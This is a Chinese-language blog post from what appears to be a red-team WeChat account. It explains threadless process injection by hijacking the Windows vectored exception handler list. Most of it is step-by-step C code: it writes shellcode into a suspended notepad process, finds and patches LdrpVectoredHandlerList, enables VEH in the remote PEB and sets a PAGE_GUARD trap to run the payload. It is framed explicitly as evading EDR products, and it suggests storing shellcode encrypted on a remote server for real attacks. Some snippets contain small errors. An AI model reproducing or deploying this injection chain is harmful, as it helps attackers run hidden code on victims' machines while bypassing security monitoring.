0x00 前言
本文是基于此项目 https://github.com/xforcered/VectoredExceptionHandling 的学习与理解,完整的包含错误检查的代码请见此链接。
0x01 无线程进程注入
一般来说,传统的进程注入技术都至少需要2个步骤:内存分配写入数据 和 内存数据执行,这两种动作的实现方式也不止一种,我们可以混合这些手法来实现不同的技术。
所有传统进程注入技术都需要的一件事是执行写入的shellcode。通常会调用的API是 CreateRemoteThread、QueueUserAPC、SetThreadContext 等,或者利用回调函数 。因此,终端安全产品会对这些 API 的调用进行严格检查。
所谓无线程进程注入,就是省去了手动执行写入内存的数据这一步骤。我在上一篇文章中介绍了一种无线程进程注入的手法:https://mp.weixin.qq.com/s/Yrb36d-xsnEuF9ahUuUKag
而下面要介绍的利用向量异常处理程序执行内存代码,也是无线程进程注入的一种方法。
0x02 向量异常处理程序
向量异常处理(VEH)是结构化异常处理(SEH)的扩展,应用程序可以注册一个函数来监视或处理应用程序中的所有异常。当进程中发生异常时,该函数将被调用,接收有关异常的信息以及发生异常时寄存器的状态。
在 Windows 中,每个进程都有一个 VEH 列表,它是一个双向链表,用于维护该进程注册的所有 VEH 回调函数(向量异常处理程序)。这些回调函数会在异常发生时被调用,并且 VEH 列表的虚拟地址在不同的进程中都是固定的。
在发生异常后,这些回调函数会按照它们被注册的顺序依次被调用,直到某一个回调函数处理了异常(返回 EXCEPTION_CONTINUE_EXECUTION,告诉进程错误已被处理),然后再继续程序的执行。如果所有注册的回调函数都已被调用,但依然没有处理程序处理异常并告诉进程继续执行,那么进程将终止。
0x3 VEH 结构
VEH 结构体的具体形式取决于操作系统版本。我无法在微软文档中搜索到这个结构的具体信息,只能在一个github项目里找到定义:
typedef struct _VECTXCPT_CALLOUT_ENTRY {
LIST_ENTRY Links; // 链表中的节点
PVOID reserved[2]; // 保留字段
PVECTORED_EXCEPTION_HANDLER VectoredHandler; // 异常处理程序回调函数的地址
} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;
但具体的定义可能根据操作系统版本的不同而有所不同,尤其是保留字段。但核心成员是 LIST_ENTRY 和PVECTORED_EXCEPTION_HANDLER 两个结构。
VEH 存储为双向链表。双向链表是一种数据结构,其中每个项都有一个 LIST_ENTRY 结构,结构中包含指向下一个项的指针前驱、以及指向上一个项的后驱指针。每个项中还有一些数据,在 VEH 结构中这个数据是一个指向向量异常处理程序实现函数的指针(PVECTORED_EXCEPTION_HANDLER VectoredHandler)。不过这个指针实际是一个编码指针,使用时需要通过 EncodePointer 和 DecodePointer 函数对指针进行编码和解码。
在 VEH 链表中,每一个 VEH 结构通过它们的 LIST_ENTRY 结构体来链接。LIST_ENTRY 结构体定义如下:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向上一个节点
} LIST_ENTRY, *PLIST_ENTRY;
-
Flink 前驱指针指向下一个 VEH 处理程序节点。
-
Blink 后驱指针指向上一个 VEH 处理程序节点。
当注册一个 VEH 处理程序时,它会被插入到链表的头部或尾部(根据插入的方式)。这意味着新添加的处理程序可以在链表的前端或末端,并根据其插入的位置影响异常处理的顺序。触发异常后,异常处理程序将从 List Head 开始,然后遍历每个项目以寻找合适的处理程序。如果返回到 List Head,就意味着没有找到对应的异常处理程序,进程就会终止。
0x04 插入 VEH 的方法
(1)通过 API 函数插入 VEH
AddVectoredExceptionHandler 函数可以用来在 VEH 列表中注册向量异常处理程序,函数声明如下:
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
第一个参数告诉函数是否将新处理程序插入到异常处理程序列表的开头。如果不将其作为第一个处理程序插入,则它将被插入到列表的最后面。第二个参数是指向要调用的异常处理程序的指针,是一个PVECTORED_EXCEPTION_HANDLER 类型的回调函数。
要使用 AddVectoredExceptionHandler 函数添加向量异常处理程序,需要先定义一个 PVECTORED_EXCEPTION_HANDLER 回调函数。在这个函数中定义向量异常处理程序的逻辑,该函数以指向 _EXCEPTION_POINTERS 结构的指针作为参数。函数声明如下:
PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;
LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
{...}
要将控制权返回到发生异常的点,告知程序异常已处理,回调函数需要返回 EXCEPTION_CONTINUE_EXECUTION (0xffffffff)。要继续搜索 VEN 处理程序异常,则返回 EXCEPTION_CONTINUE_SEARCH (0x0)。
虽然处理程序函数应该以 EXCEPTION_POINTERS 结构作为参数,但如果处理程序不需要任何参数,实际上不需要遵守此原型,可以将任意内存地址称为向量异常处理程序。
为了在异常发生时,优先调用我们的恶意异常处理程序,我们需要将其注册在 VEH 列表的第一个。为了触发异常,通常会设置 PAGE_GUARD 陷阱。
PAGE_GUARD 是一种内存保护机制,通常用于在特定内存区域上设置陷阱,以便在程序尝试读取或写入该内存区域时生成异常。PAGE_GUARD的主要作用是检测和拦截对被保护内存区域的访问。当程序尝试读取或写入带有PAGE_GUARD属性的内存页时,系统会产生一个异常,通常是“Guard Page Exception”。
设置方法:在 Windows 系统中,可以通过在 VirtualProtect 或 VirtualAlloc 函数中传递 PAGE_GUARD 标志来设置内存页面保护属性为PAGE_GUARD。这样就可以将PAGE_GUARD属性应用于特定内存页。
应用场景:PAGE_GUARD常用于安全软件、调试工具等场景中,以侦测程序对特定内存的访问行为。EDR产品可以使用PAGE_GUARD来保护需要监视的内存区域,以检测恶意软件或异常行为。
处理方式:当访问带有PAGE_GUARD属性的内存页面时,系统会触发异常,此时可以编写异常处理程序来捕获并处理这些异常。通过分析异常发生的原因和上下文,可以做出进一步的判断和响应。
某些 EDR 会注册自己的向量异常处理程序,并将 PAGE_GUARD 陷阱放置在某些内存区域上。当具有 PAGE_GUARD 保护的内存区域被访问时,程序将发生异常,然后 EDR 产品可以检查生成异常的原因,以确定访问是否是恶意的。
所以为了使自己注册的向量异常处理程序能够优先调用,EDR 可能不允许 VEH 链表被篡改,这会导致在调用AddVectoredExceptionHandler 注册向量异常处理程序时,无论是否告诉系统将我们的向量异常处理程序添加到 VEH 链表的最前面,都会导致其被添加到链表的末尾,防止被劫持。
(2)手动操作 VEH 列表
在上面提到,由于某些 EDR 的对抗,调用 API 函数注册恶意的 VEH 并不是一个最优解,所以需要考虑手动实现这个功能。
定位向量异常处理程序列表
有两种方法可以定位向量异常处理程序列表。
-
识别引用 LdrpVectorHandlerList 变量的函数并读取字节来查找地址。
-
注册一个新的向量异常处理程序并遍历双向链表,直到识别出指向 ntdll 的 .data 部分的指针,该指针就是 VEH 列表的头部。这种方法可以不考虑 VEH 链表结构的偏移量在 Windows 版本之间的变化。
这里用第二种方法。Windows 的 VEH 机制由 ntdll 管理。当应用程序注册一个新的 VEH 时,这个处理程序被添加到由 ntdll 管理的链表中。.data 段通常用于存储进程的全局变量和静态变量,而 VEH 链表头部指针是一个全局变量,负责指向异常处理程序链表的第一个节点,因此它被存储在 ntdll 的 .data 段中。所以当识别到指向 ntdll 的 .data 部分的指针时,该指针就是 VEH 列表的头部。
劫持向量异常处理程序列表
为了防止由于发生我们的异常处理程序无法处理的异常而导致进程意外被终止,可以将我们的异常处理程序插入到链表的第一个项,而保持后面的异常处理程序不变,这样就可以处理我们指定的异常,并将其他不可预期的异常传递给下一个异常处理程序,保证程序正常运行。如下所示:
代码示例如下:
// 在双向链表的头部插入一个新项
FORCEINLINE VOID InsertHeadList(_Inout_ PLIST_ENTRY ListHead, _Inout_ PLIST_ENTRY Entry)
{
PLIST_ENTRY OldFlink;// 将指向旧的头部元素的指针OldFlink_保存起来
OldFlink = ListHead->Flink;
Entry->Flink = OldFlink;// 将新项Entry的Flink指向OldFlink,表示将新项插入到原头部元素之前
Entry->Blink = ListHead;// 将新项Entry的Blink指向ListHead,表示将新项的后驱指针连接到链表头部
OldFlink->Blink = Entry;// 将OldFlink的Blink指向新项Entry,表示原头部元素的后向指针连接到新项
ListHead->Flink = Entry;// 将ListHead_的Flink指向新项Entry,完成将新项插入到链表头部的操作
}
0x05 滥用向量异常处理程序进行进程注入
我们可以编写恶意的异常处理回调函数,将其作为向量异常处理程序插入 VEH 列表,然后通过引发异常来调用这个 VEH 触发shellcode执行。过程如下:
(1)获取目标进程,写入 shellcode
以 CREATE_SUSPENDED 标志(挂起状态)创建目标进程,给 shellcode 分配内存并将其写入到远程进程中。这个 shellcode 地址后面会被编码成编码指针,作为 VEH 回调函数的地址。
项目原代码是从文件读取 shellcode,这里我换成了直接定义在代码中,实战中建议加密存储在远程服务器。
unsigned char shellcode[] = {shellcode数据};
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL,"C:\Windows\System32\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED,NULL, NULL, &si, &pi) );
HANDLE hProcess = pi.hProcess;
HANDLE hThread = pi.hThread;
SIZE_T shellcodeSize = sizeof(shellcode);
// 在远程进中为shellcode分配内存
LPVOID shellcodeAddress = NULL;
shellcodeAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode写入目标进程内存并设置保护属性
WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcodeSize, NULL);
VirtualProtectEx(hProcess, shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
(2)寻找 VEH 链表结构地址
在本地进程中注册一个 VEH ,根据注册的异常处理程序寻找 VEH 列表地址,因为在远程进程中 VEH 列表的相对地址是相同的。
.data 节通常包含全局变量和静态数据,在 ntdll.dll 中,它包括了指向 VEH 结构链表头的指针。遍历 VEH 链表的节点,通过查找位于 .data 节中的指针,可以定位到 VEH 链表的起始位置。
PVOID LdrpVectoredHandlerList = findLdrpVectorHandlerList();
PVOID findLdrpVectorHandlerList()
{
BOOL found = FALSE;
// 注册一个无实质功能的异常处理程序,用于找到 VEH 列表
PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);
if (dummyHandler == NULL)
return NULL;
PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;
PVOID sectionVa;
DWORD sectionSz;
// 在 ntdll 的.data 节中找到 LdrpVectorHandlerList
// 遍历 VEH 链表中的节点,查看节点的地址是否在 ntdll.dll 的 .data 节的范围内
if (GetNtdllSectionVa(".data", §ionVa, §ionSz))
{
while ((PVOID)next != dummyHandler)
{
// 检查当前节点 next 的地址是否介于 sectionVa 和 sectionVa + sectionSz 之间
if ((PVOID)next >= sectionVa && (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz)) {
break;
}
if ((PVOID)next >= sectionVa && (PVOID)next <= (PVOID*)sectionVa + sectionSz)
{
found = TRUE;
break;
}
next = next->Flink;
}
}
// 移除这个异常处理程序
RemoveVectoredExceptionHandler(dummyHandler);
return found ? next : NULL;
}
(3)启用远程进程的 VEH
在远程进程 PEB 的 CrossProcessFlags 成员中启用 ProcessUsingVEH 位。
CrossProcessFlags 是 PEB 结构中的一个标志字段,用于控制跨进程异常处理(如 VEH)。可以设置相应的标志位(0x4)来启用 VEH。
LPVOID EnableRemoteVEH(HANDLE hProcess) {
// 获取远程进程中 PEB 结构的地址
pNtQueryInformationProcess _NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION processInfo = { 0 };
DWORD returnLength = 0;
_NtQueryInformationProcess(hProcess, 0, &processInfo, sizeof(processInfo), &returnLength); // 获取远程进程的基本信息
// 从远程进程中读取 PEB,作为本地的一个 copy 副本
DWORD64 CrossProcessFlags = 0;
DWORD dwBytesRead;
PEB2 peb_copy;
BOOL k32Success;
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
return NULL;
}
// 在本地的 PEB 副本中设置 CrossProcessFlags 字段,启用 VEH
peb_copy.u2.CrossProcessFlags = 0x4;
// 将修改后的 PEB 写回到远程进程中
k32Success = WriteProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
return NULL;
}
// 读取远程进的 PEB 确保修改生效,若生效则返回目标程序的映像基址
dwBytesRead = 0;
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
return NULL;
}
if (peb_copy.u2.CrossProcessFlags & 0x4) {
printf("Enabled VEH in the remote process!n");
return peb_copy.ImageBaseAddress;
}
return NULL;
}
项目中的这个函数顺便返回了目标进程的 imageBaseAddress
LPVOID imageBaseAddress = EnableRemoteVEH(hProcess);
(4)在本地创建恶意的 VEH 结构
要注意的是,这一步是先在本地生成一个 VEH 结构,然后设置结构里的各项内容指向远程进程的对应地址,这些地址在本地进程肯定无法生效,当后面将 VEH 结构写入目标进程后这就生效了,这里需要着重理解一下。
调用 EncodeRemotePointer 生成指向远程 shellcode 地址的编码指针。
RtlEncodeRemotePointer函数已经封装了这个过程,也可以手动检索远程进程的cookie并执行一些位运算来实现这一步骤。
// 编码指向远程 shellcode 的指针。
PVOID encodedShellcodePointer = malloc(sizeof(PVOID));
pRtlEncodeRemotePointer _RtlEncodeRemotePointer = (pRtlEncodeRemotePointer)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEncodeRemotePointer");
ntSuccess = _RtlEncodeRemotePointer(hProcess, shellcodeAddress, &encodedShellcodePointer);
然后为我们的 VEH 结构先在本地分配空间,并将异常处理回调函数指向上面生成的编码指针。
PVECTXCPT_CALLOUT_ENTRY maliciousHandler = HeapAlloc(GetProcessHeap(), 0, sizeof(VECTXCPT_CALLOUT_ENTRY));
VectoredHandler = encodedShellcodePointer;
通过在本地进程中获得的 VEH 地址,读取远程进程的 LdrpVectoredHandlerList(VEH 列表)地址,然后设置上面在本地定义的 VEH 结构,使其 Flink/Blink 指向远程 VEH 的链表头地址。
PLIST_ENTRY firstEntry = malloc(sizeof(LIST_ENTRY));
ReadProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);
// 设置我们的恶意处理程序,使其 Flink/Blink 指向远程 VEH 的链表头地址
((PLIST_ENTRY)maliciousHandler)->Flink = firstEntry->Flink;
((PLIST_ENTRY)maliciousHandler)->Blink = firstEntry->Blink;
最后在远程进程中分配内存然后在本地进程中设置 VEH 结构中的 ref 值,这应该是个保留结构,确保我们的处理程序在 VEH 列表中有效。
// 在远程进程中分配内存并写入一个ref值
PVOID refAddress = NULL;
VirtualAllocEx(hProcess, NULL, sizeof(ULONG), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ULONG ref = 1;
WriteProcessMemory(hProcess, refAddress, &ref, sizeof(ULONG), NULL);
// 更新本地 VEH 的 refAddress
maliciousHandler->reserved = refAddress;
(5)将本地配置好的 VEH 结构写入远程进程
在远程进程中为 VEH 结构分配内存,然后将本地配置好的 VEH (maliciousHandler) 写入进去,异常处理程序结构地址为remoteHandlerAddress。
// 将本地的 VEH 写入远程进程
PVOID remoteHandlerAddress = NULL;
SIZE_T calloutSize = sizeof(VECTXCPT_CALLOUT_ENTRY);
remoteHandlerAddress = VirtualAllocEx(hProcess, NULL, calloutSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteHandlerAddress, maliciousHandler, calloutSize, NULL);
(6)更新远程进程的 VEH 列表
之前我们已经获取到远程进程中 VEH 链表头的地址,现在需要将链表头指向写入的恶意 VEH 结构,即将原来链表中的 Blink 和 Flink 指针更新为指向新写入的处理程序地址,来将我们恶意的处理程序插入到 VEH 链表中。firstEntry 是之前获取的远程进程的 VHE 链表头 PLIST_ENTRY 结构。
// 修改远程进程中的 LIST_HEAD 指针以指向新的处理程序
firstEntry->Blink = remoteHandlerAddress;
firstEntry->Flink = remoteHandlerAddress;
现在新的链表头结构 firstEntry 更新完毕,需要将其写入到 VEH 结构中。
之前我们寻找指向 ntdll 的 .data 节的指针,是为了找到指向 VEH 链表头(LdrpVectoredHandlerList)。.data 节通常包含全局变量和静态数据,在 ntdll 中,它包括了指向 VEH 结构的链表头。
而在这里,我们还要获取 ntdll 中. mrdata 节的地址和大小,修改其内存保护属性,这是因为 .mrdata 节存储运行时数据(如链表、状态信息等),修改 VEH 链表时需要确保 . mrdata 节是可以可写的。(作者并没有说明为什么要有这一步,是自己的分析,如果有不对欢迎指正)
修改完后,恢复 mrdata 节的内存保护属性。
// 获取 ntdll 中. mrdata 节的地址和大小
DWORD sectionSize;
PVOID sectionVa;
GetNtdllSectionVa(".mrdata", §ionVa, §ionSize);
// 解除 .mrdata 段的内存保护,写入我们的 VEH 项目,然后重新保护 .mrdata 段
VirtualProtectEx(hProcess, sectionVa, sectionSize, PAGE_READWRITE, &oldProtect);
// 修改 LdrpVectoredHandlerList,写入恶意指向恶意 VEH 的链表头
WriteProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);
// 修改完毕后,将内存保护恢复为原来的状态
VirtualProtectEx(hProcess, sectionVa, sectionSize, oldProtect, &oldProtect);
(7)在目标进程将执行的内存区域上设置 PAGE_GUARD 陷阱
在远程进程中注册恶意 VEH 后,设置 PAGE_GUARD 陷阱以在后续触发异常。
使用之前启用远程进程 VEH 时从 PEB 获取的 imageBaseAddress,获取远程进程的 DosHeader,再计算 NtHeader,获取 AddressOfEntryPoint 成员地址后再加上镜像基址,计算出远程进程的入口点地址。这个地址用于在远程进程中设置保护,以触发我们的 shellcode。
// 读取远程进程的 DOS 头和 NT 头,以确定远程进程的入口点地址。
IMAGE_DOS_HEADER* remoteDosHeader = HeapAlloc(GetProcessHeap(), 0, sizeof(IMAGE_DOS_HEADER));
ReadProcessMemory(hProcess, imageBaseAddress, remoteDosHeader, sizeof(IMAGE_DOS_HEADER), NULL);
IMAGE_NT_HEADERS* remoteNtHeaders = HeapAlloc(GetProcessHeap(), 0, sizeof(remoteNtHeaders));
ReadProcessMemory(hProcess, ((ULONG_PTR)imageBaseAddress + remoteDosHeader->e_lfanew), remoteNtHeaders, sizeof(IMAGE_NT_HEADERS), NULL);
// 计算远程进程入口点地址
LPVOID entrypointAddress = remoteNtHeaders->OptionalHeader.AddressOfEntryPoint;
LPVOID processEntryPoint = (ULONG_PTR)entrypointAddress + (ULONG_PTR)imageBaseAddress;
然后在入口点设置 PAGE_GUARD 陷阱,先使用 VirtualQueryEx 查询目标进程入口点的内存保护信息,返回 MEMORY_BASIC_INFORMATION 结构,再将结构的 Protect 成员的值设置为 0x100,放置 PAGE_GUARD 陷阱将内存区域中的页面设置为保护页。
// 查询远程进程入口点的内存保护信息
PMEMORY_BASIC_INFORMATION memoryInfo = malloc(sizeof(MEMORY_BASIC_INFORMATION));
VirtualQueryEx(hProcess, processEntryPoint, memoryInfo, sizeof(MEMORY_BASIC_INFORMATION));
// 在入口点内存区域设置 PAGE_GUARD 陷阱。
VirtualProtectEx(hProcess, processEntryPoint, 1, memoryInfo->Protect | PAGE_GUARD, &oldProtect);
其中 MEMORY_BASIC_INFORMATION 结构包含有关进程虚拟地址空间中的页面范围的信息,作为 VirtualQuery 函数的返回值,通过修改其中的 Protect 成员的值,可以设置各种内存页面属性:
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
WORD PartitionId;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
(8)触发恶意的向量异常处理程序执行
最后,恢复挂起的远程进程的主线程,使进程继续执行。此时,入口点的 PAGE_GUARD 保护会触发异常,导致我们之前插入的恶意 VEH 被调用,进而执行 shellcode,绕过手了动执行 shellcode 的动作。
ResumeThread(hThread);
项目代码中使用的注入方式是创建一个挂起的新进程,在入口点设置 PAGE_GUARD 陷阱然后回复进程运行。如果要注入正在运行的进程,一般步骤如下:
选择目标进程中的一个线程
挂起线程
获取线程上下文。
在线程的 RIP 处设置一个 PAGE_GUARD 陷阱
恢复线程执行
但是直接劫持正在运行的线程,将线程的 rip 设置为shellcode,可能会不稳定导致进程崩溃,需要一些额外的处理,比如为 shellcode 创建新线程,然后将代码执行返回到原线程(而且这是一种本地线程创建,不会受到远程线程创建的监控)。不过最推荐的方法还是以挂起状态创建新的目标进程,然后在进程的入口点设置 PAGE_GUARD 陷阱,就不需要考虑正在运行的线程崩溃导致进程退出的问题。
0x06 触发远程异常的其他方式
PAGE_GUARD 陷阱是生成远程异常的最佳方法,但是也有其他方法可以触发远程异常:
-
对于以挂起状态创建的进程,将 PEB 中的 BeingDebugged 位设置为 true。当进程恢复时,会发生异常并调用我们的异常处理程序。
-
针对目标进程中的无效内存进行执行操作。虽然执行目标不是恶意内存,但我觉得还是有可能触发 EDR 的检测,毕竟调用 API 的序列还是敏感的。
-
在远程进程的 .text 部分中设置不可执行内存保护属性,并在触发异常后撤销该属性。(有一篇文章实现了类似的思路,创建一个线程在木马Sleep的时候将Beacon的内存改为不可执行,在醒来的时候去执行这块内存就会报错,走到自定义VEH里面,VEH将这块内存的属性加上可执行,再继续去执行,执行完之后又去Sleep,线程继续修改内存属性为不可执行,循环往复。这样在Sleep的时候Beacon是不可执行的,有些杀软可能就不会去扫描这块内存,达到规避的效果:https://mp.weixin.qq.com/s/CZgXZPkL2pGx1IvOtgFbeQ)
-
将一些无效指令写入远程进程的 .text 部分。
0x07 测试
准备一段启动计算器的shellcode,直接从数组中读取,就像上面代码中写的一样。
在目标进程notepad设置 PAGE_GUARD :
继续执行,shellcode触发:
来啊,一起当保安↓↓
原文始发于微信公众号(红蓝攻防研究实验室):进程注入——通过VEH向量异常处理进行进程注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论